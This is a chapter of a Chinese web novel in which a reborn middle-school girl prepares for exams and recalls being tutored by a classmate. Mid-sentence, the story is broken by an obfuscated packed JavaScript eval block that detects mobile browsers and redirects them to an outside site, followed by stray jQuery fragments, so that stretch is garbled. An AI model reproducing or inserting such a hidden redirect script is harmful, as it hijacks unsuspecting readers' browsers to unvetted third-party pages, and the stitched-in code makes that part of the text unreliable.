周一,数学课上,班主任讲完知识点,剩余时间便让同学们自行消化。
大家正在看题、做笔记,一片安静之中,过道里来回巡视的班主任忽然冷不丁出声道:“哦,对了,期末考试的时间定下来了,从下周二开始。”
仿佛平地一声雷,安静的教室顿时掀起波澜,大家一个劲地唉声叹气。
常夏暄盯着面前的试题,眉头皱成川字型,重生之初,她便立志要好好学习,弥补前世遗憾,也让爸妈能为她自豪。
然而,理想很丰满,现实很骨感,尽管这段时间她已在尽力弥补了,但是重拾的知识十分有限,目前的情况是,她的成绩还不如前世的呢。
眼下只剩一周了,她打算临时抱佛脚,再突击突击,能多挣一分是一分。
为了寻一个学习氛围良好的地方,放学之后,在食堂用过晚饭,她独自一人去了校图书馆。
初中的图书馆规模不大,只有两个图书室,每间书室中间架了数排书架,两边各摆五张书桌。这里的人流量也不多,而且基本以住校生为主。
进入书室,在靠窗边的空桌前停下脚步,常夏暄轻手轻脚拉开椅子坐下,然后从书包里拿出数学教材和这学期几次测验的卷子。
介于时间紧迫,她只能率先攻克薄弱的数学,并且先从选择题这种得分几率最大的题目入手。
数学选择题第一道题多为一次函数的图像与性质这类题目,主要考察一次函数解析式求法和图像过定点判断。
她按照从优生那里学习的刷题方法,先温习相关知识点内容,然后重新刷试卷进行专题训练巩固,横向攻克一类题型。
还差最后一张卷子的题目没看,桌面上手机屏幕忽然一闪,是妈妈发来了消息,她再扫时间,发现竟然已经过去了四十分钟。
妈妈:【暄暄,还不回家吗,要不要妈妈来接你?】
常夏暄:【就回来。】
打完这三字,她将红笔装回笔袋,整理好弄乱的试卷,然后将桌上东西尽数塞进书包,离开了书室。
从图书馆出来,但见西边天空橙红似火的霞光与烟灰色的絮云交缠翻腾,校园里比她刚来图书馆时更加安静,住校生们都在宿舍和操场活动,路上半天碰不见一个人影。
常夏暄顺道前行,悠然欣赏起校园景色,眼前的一切笼罩在橘色夕阳里,道路两旁的香樟树散发着幽香,草坪上的小雏菊星星点点,地上她前行的影子被拉得老长。
忽然,她的视线无意间扫到藏在广场右角树林后面的两层小楼上,看到它的那一刻,常夏暄脸上安闲自在的表情瞬间消失,转而化成一种回忆往昔的宁静悠远。
那里曾是学校的图书室和自习室,随着扩建的新楼投入使用,这所破旧的小楼逐渐被人遗忘,几乎成了废楼。
但是她曾在那待过无数个傍晚,和凌仪景一起。
事情是这样开始的。
差不多也是这个时期,她不想再浑浑噩噩下去了,打算奋发图强,于是便留在教室里复习。
正绞尽脑汁做题时,面前毫无预兆地出现一道人影,她被吓了一跳,猛地抬起头来,当看见站在桌边的人是凌仪景时,她更是惊得身体后仰。
似乎是她反应过激,凌仪景的眼神冷了几分,嘴角也抿成一条直线。
她不安极了,可由于是在教室,周围又无他人,她避无可避,两人四目相对,空气像凝固了一样,满是尴尬的寂静。
在与她对视了几秒后,凌仪景目光忽向下划动,落到了桌上的试卷和演算的草稿纸上,她原本的惊讶与惊慌顿时化为尴尬,连忙弯腰遮住题目和毫无章法的演算过程。
因为那天傍晚的对话,以及她之后的数次落荒而逃,她无法坦然地面对凌仪景,她不清楚他突然来找自己的目的是什么,所以就像只鸵鸟一样,将上半身埋在课桌上,一个字也不说。
一秒、两秒、三秒……就在她冥思苦想凌仪景来意的时候,少年清冽平静的声音在头顶响起:“我可以帮你复习功课。”
没头没尾的一句话,她闻之愕然,那瞬间,尴尬、紧张之类的情绪通通被抛开,她缓慢地抬起头,不解地看着面前的人。
凌仪景神色依旧淡然,视线投向被她胳膊遮盖住的试卷,嗓音无波无澜道:“你的数学基础题错太多,压轴题更是没动笔,明显是对知识点不熟悉。”
说罢,他从包里抽出一本笔记,放到了她桌上。
这一连串毫无预兆的动作给常夏暄彻底整懵了,她像被定住一样,呆若木鸡地望着他,脑子里一片空白。
“你考虑考虑。”他直视着她的眼睛道,顿了顿,又说,“还有……你没必要避我如蛇蝎,我又不会吃了你。”
话落,他未在等她开口,便转身离开了。
直到凌仪景挺拔颀长的背影消失在教室门口,常夏暄才从震惊中慢慢清醒过来,她视线下移,落到桌上那本商务风的笔记本上,终于确信刚刚发生的事是真的。
半晌,她抬起手小心翼翼地拉开笔记本一角,看见了里头密密麻麻的文字和几何图形。
凝眸盯视片刻,她慌乱放下手,旋即快速收拾完桌上的试卷和草稿纸,最后连同笔记本一同装到书包里了。
当晚,结束晚自习回家以后,洗漱完进卧室独处时,她从书包内拿出了凌仪景的笔记。
像是得到了稀世珍宝一样,她定定望着手中笔记,毕竟这可是年级第一亲手整理的,上面全是考点精华。
尽管对凌仪景这个人她不敢再妄加评价,但是在学习这点上,凌仪景的优秀绝对毋庸置疑,深吸一口气,她打开封面翻看起来。
凌仪景的笔记遒劲工整,条目简洁清晰,大略翻了翻,她回到第一页,开始从头认真研读起来。
她发现上面不仅知识点梳理得全面系统,公式推导和例题解析也讲解清晰,而且关键处还补充了拓展思路……
常夏暄感觉从前朦胧的地方被点透了,她紧跟着做了相对应的题目,过程颇得心应手,让她从中找到了成就感。
等她做完题,已经十一点半了,在妈妈的催促声下,她起身进卫生间去洗漱。
回房之后,她平躺在床上盯着天花板放空,呆了片刻,又转过头瞥向桌面上摆着的笔记,开始思考凌仪景提议的动机。
其实,自凌仪景撕开伪装的那日之后,她已经反反复复想了许多遍,起先,凌仪景的行为令她大受震撼,惊诧不解,甚至感到陌生和恐惧。
后来,在多番思索后,她逐渐想明白了凌仪景为何表里形象会有这么强烈的反差,他毕竟是人,不是机器,再优秀也不可能完美无缺。
或许是从小活在家人的高期许之下,“必须做到最好”的枷锁压得他喘不过气,积攒的压力超出了承受范围,最终便以极端的方式爆发出来。
而她,她当时的评价看似褒奖,实则透着一股外人一无所知的轻飘飘感,完全无视了可能被多方压力摧残的他。
常夏暄想,凌仪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276840|198288||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
景之所以主动靠近自己,是因为想要一个朋友吧,恰好自己是已经知道他真面目的人,相处起来没有负担。
她翻了一下身,明白自己三番四次的逃避定然伤害到他了,心里不禁懊悔起来,毕竟他并没有做什么过分的事。
次日放学以后,常夏暄照旧待在教室里做题,只是因为心里装着事情,做得并不专心。
教室里的人越渐稀疏,最后只剩下她一个,她频频往门口看去,却未曾看见凌仪景的身影,实在难以沉下心来,最终彻底停了笔。
深深叹了一口气,她在想一会是不是该主动去找凌仪景,可是他还在学校吗,昨天他并没说如何找他,想到这她两肩一垮,面露苦相,烦恼极了。
就在这时,远处传来悠扬的钢琴声,琴房就在教学楼旁边的综合楼一层,因此声音十分清晰。
那琴音像山间流淌的清泉,时而轻快跳跃,时而婉转低回,技法娴熟流畅,她一听便知道是凌仪景在弹琴。
听见琴音,她顿时恢复了活力,旋即“唰”一下起身,手脚麻利地收拾好桌上的书本和笔,背上书包就朝着琴房快步走去。
越靠近琴房,琴音越清晰,耳边急促的旋律像是她胸腔里砰砰跳动的心脏,她的步伐却迟缓起来。
到了琴房门口,她停下迟疑的脚步,隔着白色大门,她的胸脯微微起伏,平复着因为急走而加重的呼吸,以及即将见面的忐忑与紧张交织的心情。
好在今天琴房外面并无来听凌仪景弹琴的学生们,做好心里建设,她抬起右脚上前一步,右手则握住门把手,然后“咔嚓”一下,顺时针拧动,打开了琴房的门。
吱呀声响起的同时,室内的琴声戛然而止,弹琴的人扭头看过来。
两人四目相对,常夏暄凝视着凌仪景沉静的黑眸,做了一个深呼吸,下定决心般说出自己的答案:“我答应你。”
凌仪景的面色没多大变化,他从琴键上移开那双纤长的十指,旋即从容地站起身来,从衣帽架上拿走背包后,言简意赅道:“跟我来吧。”
她虽不明所以,但是顺从地点了头,默默跟在他身后。
然后,她被凌仪景带着去了废弃的自习室,到那之后,他掏出一把钥匙,打开了左边房间的大门,小幅度偏头,示意她进去。
房间久无人来,里面积满灰尘,虽说破旧了些,但是黑板和桌椅板凳十分齐全。
在她好奇环视四周的时候,凌仪景已经率先走进了房间,他边走边说:“以后我就在这给你补习,时间看情况安排。”
“好。”常夏暄跟在身后,讷讷点头。
当天傍晚,他们打扫了教室前排的一角,然后两人坐下来,凌仪景让她拿出数学卷子,开始给她的做题情况做出诊断。
自此,凌仪景成了她的补习老师,从那时起,他们根据彼此情况进行不定期的补习,凌仪景上课总能把复杂的知识点拆解得简单易懂,还会针对她的薄弱项专项指导,她的成绩因此突飞猛进。
不止初中,还有高中和大学,得益于凌仪景的讲解,她在学习上取得了长足的进步,也得益于他的督促,从前三天打鱼两天晒网的她,变得会规划日程,变得更有自制力了。
常夏暄从被树木掩映的斑驳小楼别开视线,尽管和凌仪景不再有可能,但是她很感谢他的帮助。
“啊……”叹了口气,她低声自语道,“这一世就靠自己吧。”
说着,她复又迈步,踏着橙红色霞光,离开了学校。